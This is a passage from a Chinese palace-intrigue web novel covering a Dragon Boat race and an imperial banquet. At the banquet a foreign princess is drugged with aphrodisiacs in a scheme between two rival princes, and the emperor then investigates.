看到江面上已经有无数龙舟在起点蓄势待发,乾德帝脸上的笑越发和蔼可亲。
金鼓齐鸣声中,乾德帝坐上高台,朱红华盖之下,目光如炬扫视江面。
“梁爱卿,今年有多少队报名?”乾德帝感觉比去年多。
“回皇上,有五十支队。”
“这么多?朕记得去年是四十一支队。”
“皇上没记错,今年来了几支京畿县的队伍,想与京城的男儿比个高下。他们也想沾沾皇上的龙气。看中了皇上准备的赏赐。”梁启明恭敬回道。
能得皇上的赏,那是何等的荣耀,赏赐带回去,郑重些的都要贡到祠堂里。
“哈哈......,好,如果他们能得名次,朕的赏赐不会少了他们的。”
五十艘龙舟,一字排开,声势浩大,旌旗招展。
梁大人选的位置正好够宽,且水流缓慢。正适合用于比赛。
时辰到,皇帝抬手示意鼓乐暂歇,声若洪钟。
"江波浩荡,恰似天下英才竞发,尔等健儿劈波斩浪,非独较力,实乃展我南楚儿郎之锐气。
今龙舟竞渡,亦非争胜,乃彰我南楚同舟共济之志。
今日赛舟,胜负在其次,贵在众志成城。犹记几年前西凉犯我边境,若非军民同心,何来今日安澜?
此等精神,当铭刻于龙舟之首,永世传承!”
“我等定不负皇上所望。”五十艘龙舟上的男儿们齐声高喊。
霍凝玉在五十艘龙舟上寻找霍鸣昶的身影,可是怎么也看不到。
“大哥,二弟他们那队在哪儿啊?”霍凝玉只得问身边的大哥。
“他们在最边上,江的对面。”霍鸣羡其实也没看到,太远,看不清。
“啊?为什么把他们安排在最边上啊?”霍凝玉不解。
第147章 合计
国子监那可是最高学府,怎么也比那些商家好吧。居然安排在最不起眼的位置。
“因为越是靠边,越不可能拿第一。国子监都是些手不能提的书生,能划得过那些孔武有力的壮汉?所以就不用把最好的位置给他们了。”
“这样啊。”霍凝玉很遗憾,看不到二弟的英姿了。
“龙舟赛虽是比赛,但也只是一个游戏,就要有观赏性。圣上在,当然要把游戏玩好,让圣上看得开心。”霍鸣羡悄声说道,这话不能明目张胆说。
要是让人听了去,不是在说梁大人做事不公吗?
“哦,那什么位置最好?”霍凝玉看了这么多年龙舟赛,并不懂这里面的道道。
“当然是中间。”
随着一声震天的锣响,比赛正式开始,蓄势待发的参赛者们整齐划一地挥动着手里的划浆。
呐喊声瞬间爆发。
每艘龙舟前的擂鼓人,每一锤下去都能敲出一声震耳欲聋的响声。
突然之间,东江两岸沸腾起来。
百姓们的高叫声和欢呼声,传递出他们的热情和投入。
乾德帝也看得热血沸腾,坐着看不过瘾,直接站起来。
皇帝都站起来,其他人也跟着站起来,一些宗亲不顾皇帝在场,也加入呐喊中。
“快啊,快啊!”赵凌哲也挥舞着小拳头大叫着。
“大哥,你看,是钟离大哥。他怎么也参加了?”霍凝玉看着冲在第一的那艘龙舟。
离得越来越近,她才看清龙舟上的人。
“京畿营的也参加了?”霍鸣羡也不清楚。
往年是不让参加的,那些人都是将士,体力肯定比一般人强,要是让他们参加,哪里还有别人什么事。
“好!”乾德帝也忍不住叫一声。
因为第一名遥遥领先太多。
这样的实力,太精彩。
当第一艘龙舟冲破终点时,引起了两岸百姓雷鸣般的掌声。
比赛结束,乾德帝亲自为前三名发奖赏。
霍凝玉远远与钟离洛交换眼神,替他高兴,又借此机会在圣上面前露脸。
赏赐发完,乾德帝领着文武百官去就近的落梅庄。
大公主身子重了,并没有来看比赛,而是在庄子门口迎接乾德帝。
赵炳煜一直护在乾德帝左右,如贴身的护卫。
直到现在霍凝玉都没能与他说上一句话。
只有眼神交流。
等到乾德帝进了落梅庄,赵炳煜才抽空与霍凝玉说了几句重要话,又匆匆离开。
那几句话惊得霍凝玉久久无法回神。
今日在落梅庄举办宫宴,庄里伺候的都是皇后和太子妃安排的宫人。
为了安全,女子每人只允许带一个丫鬟入场,男子除了几位王爷和皇子,连随从都不准带。
她想让青风去问赵炳煜身边人都没机会。
霍凝玉急步来到霍鸣羡身边,在他耳边低语了几句。
霍鸣羡听得面色一冷:“胆子真不小。”
“大哥,今日你跟紧我。我与你一起破了这个局。”霍凝玉重重一握拳。
“嗯。”
霍凝玉的目光在人群中搜索萧婉仪的身影。
只一会儿就不见了人影,刚才还跟在圣上身边。
反而看到江宁弱柔地跟在忠义伯夫人身边。
两人都看到了对方,但都当没看到。
霍凝玉也跟在家人身后进了临水阁,上了二楼。
看到萧婉仪正坐在皇后身边,她才放下心来。
临水阁建在落梅庄的荷塘边。
而荷塘中央有一个亭子,正好可以安排伶人表演节目。
坐在二楼看节目,视野非常好。
“都各自玩去吧。”乾德帝见大家都挤在这里,有些拘束。
赵凌哲就等着这句话呢。
“霍姐姐,走,我们一起去玩。我今天带了大毛来。”赵凌哲献宝似的,把自己的爱犬奉献出来。
“真的?”霍凝玉只见过那只狗两次。
不,其实她见过多次,前世魂飘时,她见过,每次她遇到那大狗,总感觉它能看到自己。
刚走出临水阁,霍凝玉就拉住他:“小殿下,你去把东临六公主也叫出来,我们一起玩。”
“为什么叫她?她一点都不好玩。像个老太太,总喜欢找我的错。”赵凌哲对萧婉仪有点小意见。
有次在宫里遇到,她居然仗着自己是长辈,要考校他的学问。
还问得他好些都答不上来,太讨厌了。
“哈哈,她是对你寄予厚望才会对你要求严格。”霍凝玉被逗笑了,一个十六岁的姑娘被说成老太太,要是六
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公主知道了,肯定气炸。
“好吧,我去叫。”
赵凌哲又上楼到皇后身边,把萧婉仪叫出来。
“见过六公主。”霍凝玉把礼数做到。
今日人多眼杂,不能让人抓住把柄。
“免礼。霍县主,本公主初来南楚,还没有交到朋友,今日难得遇到,你带我在落梅庄里走走吧。”萧婉仪故意如此说。
“好。”
两人顺利走到一起。
赵凌哲的大毛被一个小太监牵着,一看到它的小主子,狂吠了几声。
“大毛,过来。”赵凌哲向黑狼犬叫了一声,那狗就用力冲过来,带着后面的小太监差点摔倒。
霍凝玉蹲下身去摸。
大狗真的让她摸,还用舌头舔她的手。
萧婉仪见黑狼犬居然这么温顺,也想摸,结果大毛突然炸毛,露出獠牙。
“大毛,安分点。”赵凌哲立刻训斥,牵着黑狼犬离两人远些。
两人边走边聊,而赵凌哲则带着黑狼犬围在两人身边又跑又跳。
霍凝玉见他如此有活力,而不是如前世落水后就落下病根,一不小心就得风寒。
当走到一个没什么人的地方时,霍凝玉才悄悄在萧婉仪耳边说了几句话。
萧婉仪听后,眼中闪过不可置信。
但很快就想通。
“凝玉,今日趁着过节,皇舅舅本就是让我看看京中贵子。如果有中意的就告诉他,他会为我赐婚。既然有人不安份,那我也不会安份。我们合计一下,如何利用这个机会。”萧婉仪很快就有了主意。
两人边走边商谈。
陪着赵凌哲训练了一会儿狗,又回到用膳的地方。
就在临水阁外,一个小广场上,还可以观看荷塘中央亭子里的表演。
这种在室外用膳的体验,让乾德帝分外舒心,他难得出宫。
与自然亲近,空气流通。
萧婉仪自是去皇后那桌与圣上一起用膳。
宫宴本就是边吃边玩乐,并不只是一味吃。
“婉仪,今日我皇室各家的子弟都在,既然你是来和亲的,正好趁今日与大家认识认识。看中哪个,与朕说,朕自会给你赐婚。”
“皇舅舅,一定要选皇室宗亲家的男子吗?”萧婉仪故意装出一副天真的模样问道。
第148章 六公主中招
“不管是宗亲,还是勋贵子弟,只要你看上,朕都给你赐婚。”乾德帝对萧婉仪很好。
当年他让小皇妹去和亲,小皇妹没有任何犹豫就点头去了。
小皇妹的大义让他欣慰,如今她又将自己的女儿送回南楚和亲,这是亲上加亲。
他自是要满足外甥女的要求。
“谢谢皇舅舅,那今日我就好好选选。”萧婉仪得到自己想要的保证,心中大定。
她怕皇舅舅不想委屈她,硬要她选宗亲。
乾德帝当场点了十几家,让各家的未婚男子都站起来自我介绍一番。
说是可以任意选,但乾德帝不可能把萧婉仪嫁给太差的人家。
十几家里有宗亲,有勋贵,却没有官宦之家。
萧婉仪见此,也没多说什么。
她是一国公主,皇舅舅不可能把她嫁给没有传承的官宦之家。
也就是不能委屈了她。
辰王和霁王都面无表情看着这一场热闹。
萧婉仪对每个人都用同样的微笑面对,淡淡点了点头。
有些男子为了能入萧婉仪的眼,故意打扮得如花孔雀。
在自我介绍时双眼放光看着萧婉仪。
看得霍凝玉心里暗笑,再看旁边的大哥,面无表情。
知道他心里不高兴了。
其实两人直到现在也没有捅破那层窗户纸,因为没有接触的机会。
宴席继续进行,萧婉仪吃得差不多,借口去方便一下,离开了席位。丫鬟想跟着,被她制止。
走出宴席区,就有一个宫女主动上前来领着她去,而在半路一个拐角处却不小心与江宁撞了一下。
江宁身子一软,倒向地面。
“对不起,公主殿下,是臣妇没看好路。”江宁反而向萧婉仪道歉,而她刚才正是低着头走路。
萧婉仪见江宁爬了两次都没爬起来,身边也没有丫鬟跟着。
萧婉仪示意宫女扶她起来,结果江宁刚站起来一点,脚一软又倒了下去。还把宫女也带倒,压在宫女身上。
“实在不好意思,我身子不太好。”江宁又努力要爬起来。
萧婉仪见她太吃力,只得弯腰帮忙。
“谢谢公主殿下。”江宁又没站稳,在倒下之时,手胡乱抓扯,没有把萧婉仪带倒,却撕破了她的衣袖。
“对不起,对不起。”江宁见闯了祸,直接跪在地上叩头道歉。
萧婉仪只淡淡看着她。
直到江宁叩了不下十个头,她才开口:“行了,你也不是故意的。”
“谢公主殿下。这位姑娘,快带公主去换身衣衫。”江宁表现的诚惶诚恐,小心翼翼的样子。
“六公主,请跟奴婢来。”领路的宫女又领着萧婉仪继续走。
她们一直走到一个叫玉荷轩的地方。
宫女解释道:“皇后娘娘把玉荷轩二楼安排给女眷更衣用,一楼安排给男客更衣用,请随奴婢上二楼。”
宫女领着萧婉仪上了二楼东头的最里间。
“公主殿下,请问您喜欢什么样的衣服,奴婢去取。”
“给本公主找件淡蓝色的纱衣吧。”萧婉仪淡笑着吩咐。
“公主请稍等。”宫女出去,并把门轻轻掩上。
宫女离开后,萧婉仪在房里查看起来。
没发现有什么异常。
**了一会儿。
宫女居然还没回来,而她却感觉身体有些不舒服起来。
她知道自己不知在什么时候中招了。
但她并没有动。
可就在这时,突然一个宫女进来,却不是去拿衣服的那个。
“这位小姐,您怎么在这儿?”那宫女假装不认识萧婉仪。
“怎么了?”萧婉仪已经明显感觉身体开始燥热。
但还能控制,她与霍凝玉已经商量好,以身入局,她必需做到按兵不动。
“这是给男子换衣的地方,快,随奴婢出去。”那宫女二话不说,扶起萧婉仪就出了房门。
但不是下一楼,而是仍然在二楼,但却去了另一头。
萧婉仪的身影刚刚消失,辰王就出现在二楼楼梯口。
他抬腿就往东面走,走到尽头时,他并没有急着进去,而是听了听里面的动静,发现没有任何声音。
稍等了一会儿才推门进去。
萧婉仪被宫女领去西面的一个房里后,也借口出去催一催前面取衣服的宫女,离开了。
而就在此时,霁王也上了二楼,向东看了一眼,没看到辰王,正好那宫女走到楼梯口
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,两人交换了一个眼神,宫女点了点头,继续下楼而去。
霁王勾起一抹邪魅的笑。
“大皇兄,螳螂捕蝉,黄雀在后。二弟就笑纳了。”
霁王一转身向西面而来。
当停在最西面那间房的门外时,正好听到里面传出轻微的女子嘤咛声,明显是压抑的难受。
轻轻推开门,果然看到萧婉仪脸色潮红,不断在拉扯自己的衣服。
“表妹,你怎么在这儿?”霁王故作吃惊地问道。
萧婉仪抬起朦胧的眼睛,看到来人,也吃了一惊,怎么是霁王,不是辰王吗?
不好,她得到的消息有误。
她努力保持清醒,扫了房里一眼,果然看到香炉里正冒着烟。
她刚刚在第一个房里就感觉中了媚药,但并不严重,还能保持一些理智,怎么换了一个房间,药性来得如此猛烈,只短短时间,她就难受至极。
“二,二表哥。”萧婉仪此时心里开始惊慌。
不知道霍凝玉能不能察觉事情有变。
要是真失身给二表哥,那她来此的目的就全完了。
越急,那种火热的感觉越发明显。
“表妹,你怎么在我休息的房里?“霁王假模假样地笑问,还向前走了几步。
“你别,别过来。”萧婉仪急得大喊,可是喊出的声音却带着娇媚。
“表妹,你这是怎么了?脸色怎么这么红?”霁王“终于发现”不对劲。
“你快......快出去。”萧婉仪努力站起身,打算他不出去,就自己出去。
可是才刚刚迈出一步,就一个趔趄向前栽去。
霁王一个跨步过来,正好把人接住。
萧婉仪一碰到男人的身体,男人特有的体味平时她并未在意,此时却异常浓郁。
身上的燥热更加浓烈,再也控制不住想要攀上男人的腰。
“表妹,我怎么感觉浑身发热?你身上也好烫。”
霁王进来到现在也吸了不少空气进去,身上也起了反应。
“你......自导自演。赵......赵昀霁,今天你要是敢碰我,就等着我东临国撕毁盟约。”萧婉仪强撑着威胁。
可是她却不自觉攀上霁王的肩膀。
第149章 两人在水里博弈
她长这么大,从没受过这种罪,那团火怎么也压不下去,就想靠近男人。
而就在这时,门突然被人撞开。
辰王脸黑如墨,站在门口,看到房里两人正拥在一起,萧婉仪正在撕扯霁王的衣衫。
他刚才走进东面最里间,房里居然没人,心里一惊。
再把房里仔细找了找,也没看到人藏到哪里。
带人来的那个宫女,他早就交代过,人一带到立刻找借口离开。
他紧随其后就来了。
找了一圈没找到人,就知道计划有变,想立刻离开,让人找找表妹去了哪里。
刚走到楼梯口,听到西头房里好像有动静。
那是二弟常用的房间。
难道二弟房里也有人,或者二弟也想用同样的方式算计京中哪个贵女,为自己拉拢势力。
真是愚蠢,居然选在这里。明知道离此不远就是他经常用的房间,就不怕被他发现吗?
不对,二弟应该故意想让他发现,正好做实了这件事。
想到这儿,他又犹豫了一下。正打算继续下楼,却隐约听到女子声音,话里提到东临两个字。
会提到东临的只有表妹。
难道是二弟知道了他的计划,故意玩截胡。
好啊!
胆子越发大了,敢算计他。
快步过去,一脚把门踹开。
“老二,你好大的胆子,居然敢欺负表妹。你是不想活了吗?”辰王上去就给霁王一拳头。
霁王被打翻在地,挂在他身上的萧婉仪也跟着摔了下去,正好压在他身上。
辰王气得又踢了一脚,才伸手把萧婉仪扶起来。
“表妹,是这家伙强迫你的吗?”辰王表现出十分关心人的模样。
而萧婉仪却抬手就给他一巴掌,可惜绵软无力。
“一......一丘之貉。”萧婉仪踉跄着就要出门。
可是腿实在太软,直往前栽。
辰王立刻扶住她。
这时霁王从地上爬起来。
也不客气给了辰王一拳。
辰王不防,被打得一个趔趄。
霁王好武,平时跟着护卫一起练,而辰王好文,很少练武,力量上输霁王很大一截。
哪怕霁王现在中了药也能打得辰王站不稳。
辰王转身看到霁王的眼睛发红,这才知道他也中了药。
这是怎么回事?
不是只有表妹中药吗?
他安排江宁下的药,而且下药的手法让人无法察觉,也让人查不出来。
二弟可没人给他下药。
霁王此时凶性大发,又给了辰王一拳。
辰王立刻躲开。
可是霁王只想快些把人撵走,他中了药,已没多少理智。
辰王哪里肯吃这个亏,两兄弟开始大打出手。
而就在这时,一声犬吠传来。
一只黑狼犬,猛冲进来。
接着是霍凝玉,后面跟着霍凝羡。
“六公主?你怎么在这儿?我们都已经吃完饭了,也没见你回席上。
你只是出个恭,怎么花这么长时间?
凌哲世子还想找你玩,我们找了好几个地方都没找到你。
凌哲世子才让大毛带路,果然找到你了。”霍凝玉连珠炮说明他们出现在这儿的原因。
当然是说给辰王和霁王听的。
“霍,霍县主,救我。”萧婉仪说完这几个字,就倒向霍凝玉。
“怎么回事?”霍凝玉也吓了一跳,他们商量的计划不是这样的啊。
萧婉仪滚烫的身体,让霍凝玉瞬间警铃大作。
“大哥,快,带六公主去找太医,她中了那种药。”
霍鸣羡脸色阴沉,狠狠扫了一眼两位王爷,拦腰将萧婉仪抱起。
“霍鸣羡,把人给本王放下。”辰王和霁王同时出声。
两人简直不可理喻,都被人撞破了,还想继续吗?
霍鸣羡的脚步连顿都没顿一下,抱着人出了房门。
这时赵凌哲也跑了进来。
看到两位皇伯伯鼻青脸肿。
“两位皇伯伯,你们这是在玩什么游戏?”赵凌哲的童言童语让人无法回答。
“凌哲世子,我们快走,六公主被人算计了。”
霍凝玉只是来把人带走。
让两位王爷狗咬狗去。
霍鸣羡把人抱下楼,萧婉仪已经完全失控,不停撕扯霍鸣羡的衣服。
而且她的身子烫得惊人。
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根本等不了太医来看诊。
霍鸣羡看到萧婉仪难耐的模样,心疼不已,刚走到湖边,直接抱着人跳了下去。
霍凝玉追过来,正好看到两人落入水里。
“大哥,你怎么跳进水里了?”霍凝玉有些不解,不是应该去找太医的吗?
“妹妹,六公主等不及了,她中药太过严重,我先让她在水里泡一下,你快去找皇上,让皇上派太医来。”霍鸣羡急急说道。
他抱着萧婉仪,想要固定住她的手不让她乱动,可是失去理智的人,根本管不住。
“霍姐姐,快走。”赵凌哲催促。
两人又飞跑起来。
而一些正在不远处散步游玩的人,看到霍鸣羡抱着姑娘跳进水里,纷纷围过来看热闹。
两人在水里博弈。
女子不顾廉耻要靠近男子。
男子想尽办法把人控制在一定距离。
好在水虽不是太冷,多少起了点作用,萧婉仪稍微好受了一些。
也看清了眼前的人。
“霍大公子?”清醒了些的萧婉仪知道脱离了辰王和霁王的魔爪,心安了。
可是随着时间的推移,水的作用也在慢慢消失。
霍凝玉和赵凌哲跑到临水阁外,乾德帝正在与大公主说话。
“身子可还好?”乾德帝关心问道。
这是他的第一个孩子,小小年纪就失了母后,没有母亲教导的孩子,总是可怜一些,又是他唯一的嫡女。
想到元后,他总会长叹几声。
“谢父皇关心,儿臣身子很好。儿臣府上有个医术不错的医女,每日都给儿臣请平安脉,她还说,儿臣这胎是个男胎。儿臣也要有儿子了。”赵明月幸福地摸了摸肚子,已经开始显怀。
“嗯,皇后已经给你找好了稳婆,到时送到你府上。”
乾德帝明知道这孩子不是驸马的,但事情已经这样,他也只能接受,只要还维持着表面关系,也没人敢拿此事来**她。
“皇祖父,皇祖父,不好了,表姑母被人下药了。”赵凌哲别看年纪小,跑起来不比霍凝玉慢,第一个跑到乾德帝面前。
“你是说婉仪?怎么回事?”乾德帝一惊。
第150章 狗咬狗
“回皇上,我们本是想找六公主一起玩,结果怎么也找不到,最后还是大毛找到的。
可是她身上好烫,臣女才如此判断,而且现场还有辰王和霁王,两人正大打出手。
我哥没办法,抱着六公主跳进湖里才让她稍微清醒些。”
霍凝玉语速奇快,三言两语把事情说清楚。
“吴太医,快去看看。”乾德帝立刻吩咐。
“微臣这就去。”
赵明月也在旁边听得一清二楚,惊愕不已。
在她的眼皮子底下,竟发生这样的事。
霍凝玉又领着吴太医离去。
“凌哲,带朕去看看。”乾德帝的心也提到嗓子眼。
萧婉仪虽是他的亲外甥女,但同时还是东临的公主,她是两国友好邦交的使臣。
绝对不能出事。
吴太医赶到湖边时,已经围了不少看客。
赵炳煜和禁卫统领赵胜正带着几个禁卫军在赶人。
可是该看的都看到了。
霍鸣羡带着萧婉仪靠到边上,抬起她一只手。
吴太医伸长了手把脉。
须臾,收回手。
“霍公子,让六公主就泡在水里,我这就去开药煎来,在我来之前,不能让公主离开水。”
他本想说最好用冰水泡,可想到公主是姑娘家,身子要是受了寒,以后于生育上可能会受影响,只能让公主再受些罪。
谁这么缺德,竟然给六公主用那么猛的药,这是想一定要成就好事啊。
吴太医又匆匆离去,准备汤药。
赵炳煜走到霍凝玉身边:“怎么回事?”
赵炳煜今日与赵胜两人负责整个落梅庄的安全。
皇帝出宫不是小事,他必须时刻在皇帝身边,以防几年前的事发生。
他把消息告诉霍凝玉,目的当然是让他们好好利用这个机会。
可怎么把六公主给害得真被媚药折磨得当众出丑了。
“我们明明计划得好好的,等辰王一进去我们就捉个现场,再把人带走,让辰王竹篮打水一场空。
也能让大哥顺理成章与六公主有肌肤之亲,从而让皇上赐婚。
结果等大毛找到六公主时,却是在霁王的房间里,而且中的药药性很猛,与我们的预期出入很大。
辰王和霁王还打了起来。
这中间发生了什么,我也不知道。你快带人把玉荷轩围了,好好查查里面。
你最好把辰王和霁王两人也控制起来,等候皇上发落。”霍凝玉快速把事情讲了一遍。
赵炳煜得了这个消息,立刻去办。
乾德帝赶到时,就看到霍鸣羡控制住萧婉仪在水里,而萧婉仪被药物控制总想靠近霍鸣羡。
霍鸣羡时不时被萧婉仪占点便宜,又被他推开。
“我的天。”赵明月发出一声惊呼,“怎么会这样?”
她看到萧婉仪的动作,心里凉了半截。
她的女儿想要嫁入霍家,不可能了。
萧婉仪这个**,怎么这么不小心着了人的道,还把霍鸣羡拉下水。
看看她的那些动作,今日之后哪里还有名声,只能嫁给霍鸣羡。
她的女儿要怎么办?
难道嫁入霍家做妾吗?那怎么可能。
赵明月心思百转,只能在心里长长叹了一口气。
女儿不知道去哪里玩了,还不知道这个消息。
而被赵明月惦记的女儿,刚听到消息,正往这边赶。
“霍鸣羡,你们在干什么?”就在这时,慧兰县主的声音带着凄厉和尖锐传来。
人还在向这边跑。
看到水里的人当真是霍鸣羡,而他的双手正架在萧婉仪的腋下,既不让她落进水里,也不让她向他扑来。
可萧婉仪的力量在这个时候显得特别大,总有霍鸣羡控制不住的时候,被萧婉仪得逞,在他身上乱摸。
慧兰县主气的就要跳进水里去,被人拦住。
“慧兰,冷静。”赵明月当着皇帝的面,不敢让女儿乱来。
“娘!”慧兰县主委屈得双眼含泪。
她看好的男人,怎么可以抱别的女人。
本来母亲已经说好,要进宫向外祖父请旨赐婚,不管霍家同不同意,等她嫁进霍家,与霍鸣羡做了夫妻,两人自然就有了感情。
她知道霍鸣羡是个负责任的人,一旦成了夫妻,霍鸣羡自会把心思放
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在她身上。
相亲相爱是迟早的事。
乾德帝冷冷看着水里的两人,心里明镜似的。
除了两个儿子干的,不作他想。
居然把主意打到婉仪身上,也不想想一国公主,难道嫁进王府为妾吗?
他们把自己的王妃置于何地?真是不知所谓。
“林德全,去把辰王和霁王给朕带来。”
“皇上,已经带到。”赵炳煜的声音在身后响起。
乾德帝一转身就看到辰王和霁王一身儿狼狈。
辰王的左眼肿得都快看不见眼珠,而霁王的脸上一个大包。
两人头发散乱,衣衫不整。
且两人的面色还有些潮红,尤其霁王。
好在两人都是清醒的。
“跪下。”乾德帝一声怒喝。
两人齐齐跪下。
“说,你们都干了些什么?”
“父皇,儿臣什么也没做,是二弟,他想对表妹无礼。
儿臣亲眼所见,儿臣想救下表妹,二弟就动手打儿臣。
您看,这就是他打的,身上还有。”说着,辰王把自己的衣襟拉开,胸前有一大块淤青,像被踢的。
“父皇,大皇兄说谎,是他算计儿臣。儿臣本来去玉荷轩换件衣服,结果一进去,就看到表妹在里面。
儿臣觉得奇怪,就问表妹,结果表妹就向儿臣扑来,儿臣才知道表妹被人下了药。没过几息,儿臣也感觉身体有异样,才知道儿臣也被人下了药。
肯定是大皇兄想要让儿臣背负骂名,让父皇不喜,同时让临东国对儿臣有意见,让儿臣成为破坏两国邦交的罪人。”霁王更是倒打一耙。
赵炳煜这时拿来一样东西,正是在霁王房里还没燃完的香。
“这香应该是催情香。”
“父皇,那房间儿臣好久没去住过了,今日也是临时想换件衣服才去的。肯定是有人故意要害儿臣。还提前准备了香,表妹也是被人故意带去那房间的。”霁王继续狡辩。
“是谁带婉仪去玉荷轩的?”乾德帝猜测是两个儿子在搞鬼,但到底是如何做到的,却不知。
老二还不至于蠢到把证据留在房里。
第151章 狡辩
“回皇上,应该是宫女。”皇后不得不回答这个问题。
她心里也生起不安,不会又让人钻了空子吧?
今日落梅庄伺候的宫人除了落梅庄里本就有的十几个人外,其他都是宫里带进来的,还有各家女眷带在身边的人。
而各家女眷带进来的下人,不允许靠近宫宴区域。
“给朕找出来。”
皇后立刻让身边的大宫女去查,太子妃也跟着去。
这时吴太医匆匆熬了药端来。
霍鸣羡又把人推到岸边,霍凝玉接过碗亲自喂。
萧婉仪还有些意识,兄妹俩哄着她把药喝了。
又等了一刻钟,萧婉仪才开始渐渐平静下来。
吴太医又上前给萧婉仪把了一下脉。
药起效了。
“吴太医,如何?婉仪的身子可有受损?”乾德帝生怕因此坏了外甥女的身子。
“回皇上,六公主其实中了两种媚药,才导致她反应如此强烈。”吴太医如实禀报。
“你说什么?”乾德帝虎目一瞪。
“微臣不会判断错。”吴太医对自己的医术很有信心。
这种事,他遇到不知多少。
乾德帝在两个儿子身上来回扫视,而两人都乖乖跪在地上。
萧婉仪喝了药,身体的燥热慢慢得到控制,眼神开始清明起来。
她看到自己被霍鸣羡架着泡在水里。
“多谢霍状元。”
霍鸣羡见她好多了,才带着她上岸。
“婉仪,感觉怎么样?”乾德帝关心问道。
“皇舅舅,都是婉仪不好,不够小心,着了人的道。”萧婉仪表现得懂事乖巧,让人生怜。
“快,先去换身衣服,朕再给你做主。”
“六公主,我带你去更衣。”霍凝玉主动扶着她,还是去就近的玉荷轩。
萧婉仪的丫鬟紫姝早就捧了主子的衣服等在一旁。
换好衣服出来,乾德帝已在花厅里坐着。两位王爷仍然跪在地上,等候处置。
萧婉仪把自己离开宴席后发生的事情都说了一遍。
“你撞倒的那名女子是谁?”乾德帝问道。
“回皇舅舅,我不认识。不过她穿的是一件靛蓝色长裙,上身是月白褙子,衣襟上绣了如玉。”萧婉仪记得很清楚。
“是谢家的少夫人。”赵胜一直在宴席外巡逻,见到江宁走回宴席。
“去把人给朕带来。”
江宁今日刚刚小产,身体比较虚弱,吃过饭,她就让丫鬟带她去休息。
当得知皇帝要带她去时,她心里生起害怕。
她做得很隐蔽,就是趁六公主撞她的一瞬间把无色无味的药粉撒在她身上。
她跌倒后,六公主还好心来扶她,趁扶的机会,又故意把她的衣袖撕破。
只要六公主呼吸到那种粉末,超过一定时间,就会中招。
而随着时间的变化,那东西就会消失不见,谁也查不出来。
江宁跟在赵胜身后,走得极为缓慢。
“谢少夫人,你莫不是做贼心虚,怕去见皇上?”赵胜如鹰般的眼神在她身上扫了扫。
柔软无骨,走路三步一晃,好似受了天大委屈的小媳妇。
真是天生的勾人玩意儿,难怪谢正阳被勾得连霍县主那样身份的女子都不要,非娶一个养女不可。
“赵统领说笑了,我是身子不适。”江宁轻声细语,“赵统领,可知皇上找我何事?”
江宁假意问道。
“去了就知道了,走快点,别让皇上久等。”赵胜不耐烦。
江宁想博同情,可惜遇到赵胜不解风情。
而今日谢正阳帮她去找母亲,没来。她想找个依靠都没有。
再慢,江宁还是跪到了乾德帝面前。
“臣妇拜见皇上。”
乾德帝对此女没有任何好感。
第一次见就是因为她勾引了谢正阳,霍县主请他做主。
“大胆**,竟敢对东临六公主下毒。”乾德帝直接定罪。
“皇上冤枉,臣妇从没见过六公主,怎会对她下毒?”江宁早就准备好了借口。
她确实没见过萧婉仪,不过提前做了工作,特意远远看了几眼,把人认清楚。
而今日**也是提前藏好,就等着与之偶遇。
“你没见过本公主,为何今日撞了本公主,却叫公主殿下?”萧婉仪质问。
“公主殿下,您的服饰只有公主才能穿,所以臣妇才一眼认出,但不知道公主是哪位公主。”江宁急道。
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>这话也说得过去。
公主的服饰与一般贵女的确不同,再加上今日过节,皇后给宫里每位公主都发了新衣和首饰,萧婉仪也有,而她今日穿的正好是皇后送来的那套。
萧婉仪皱了皱眉,难道不是她,可她只与三个人接触过。
一是这个叫江宁的,然后就是领她去换衣的宫女和后来又带她走的宫女。
“本公主与你不过轻轻撞了一下,本公主都没倒,你却倒到地上爬不起来,是不是故意的?趁本公主扶你时,你对本公主做了手脚。”萧婉仪在宫里长大,知道一些手段让人防不胜防。
“不是的,公主殿下,臣妇是身子不适,才会站不稳。”江宁吓了一跳。
这个六公主真是聪明,可惜那种药本就不易在空气中停留,现在她又在水里泡了那么久,更是半点蛛丝马迹也不见。
“吴太医,给她把脉。”萧婉仪不信。
一看江宁那柔弱的样子就让她想到那些惯会邀宠的宫中妃子,故意装柔弱来博怜爱。
吴太医上前把脉,江宁很大方把手伸出来,没有半点心虚。
须臾,吴太医收回手:“皇上,六公主,谢少夫人的确身子虚弱,刚刚经历小产。”
“什么?”萧婉仪一愣,“我不过轻轻撞了你一下,你也只是倒到地上而已,就能小产?什么破身子这么差。”
“六公主误会,她应该是早些时间就小产了,不是您把她撞小产的。”吴太医解释道。
“吓本公主一跳,既然你身子这么差,为何还要来参加端午宴席?”萧婉仪觉得这点很可疑。
正常人在这种时候肯定在家卧床休息,她却来参加宫宴,非常不正常。
“回公主,臣妇是不应该来的。
可是昨晚,臣妇的娘突然不见了。
臣妇想来宫宴上找义母,告诉义母此事,希望义母能派人帮臣妇找找我娘。
可义母一直跟在皇上身边,臣妇还没找到机会与义母说。”江宁说到这里,难过地流起了眼泪。
“什么?你娘不见了?昨晚深更半夜,不是被谢府派人来接走了吗?”赵明月大吃一惊。
她还要靠杨氏为她安胎,保她顺利生产呢,可不能有事。
第152章 两位王爷受罚
“义母,昨晚我娘在来的路上,马疯了,不知道把我娘带去了哪里,直到现在也没找到。呜呜.......”江宁伤心地低泣起来。
“谢正阳没去找吗?”赵明月急道。
“一直在找,可到现在也没有消息。”
霍凝玉冷冷看着跪在中间的江宁。
难道要让她就此避过去?
赵大哥悄悄告诉她,就是江宁要来配合辰王完成任务。
难道药不是她下的,而是那个宫女下的?
她只需撕破六公主的衣服,让那宫女有借口把人带去那个房间。
如此解释也行得通。
“朕再问你,你是否有对东临六公主下药?如果让朕查出来,你就是死路一条。”乾德帝见话题居然给扯到一边去,有些怒了。
她母亲的死活他没兴趣知道。
“回皇上,臣妇确实没有给六公主下药,也没有任何理由下药。”江宁说得异常笃定。
“皇上,今日伺候的宫女全都带到了外面,让婉仪去认认,是哪个宫女带她去玉荷轩的。”皇后插话道。
“婉仪,去认认。”乾德帝挥了挥手。
霍凝玉扶着她出了花厅,外面站了几十个宫女。
萧婉仪把每个人都看了一遍也没找出那两个宫女。
“六公主,你真看仔细了?”霍凝玉也直皱眉头。
“不在里面,估计一完成任务,就立刻撤离了。”
“太子妃娘娘,人是不是都在这里了?”霍凝玉问一直站在一旁的太子妃。
“按名单来点,全在这里。”太子妃很肯定。
“难道会易容?”萧婉仪嘀咕。
如果是易了容,离开后就洗去,她还真分辨不出来。
真是做得天衣无缝。
回到花厅,如实说了,也把自己的猜测也说了。
气的乾德帝一掌拍在案上。
宫里的人,被儿子们伸手,还如此明目张胆,这是在盼着他快些死啊。
他偏就不死。
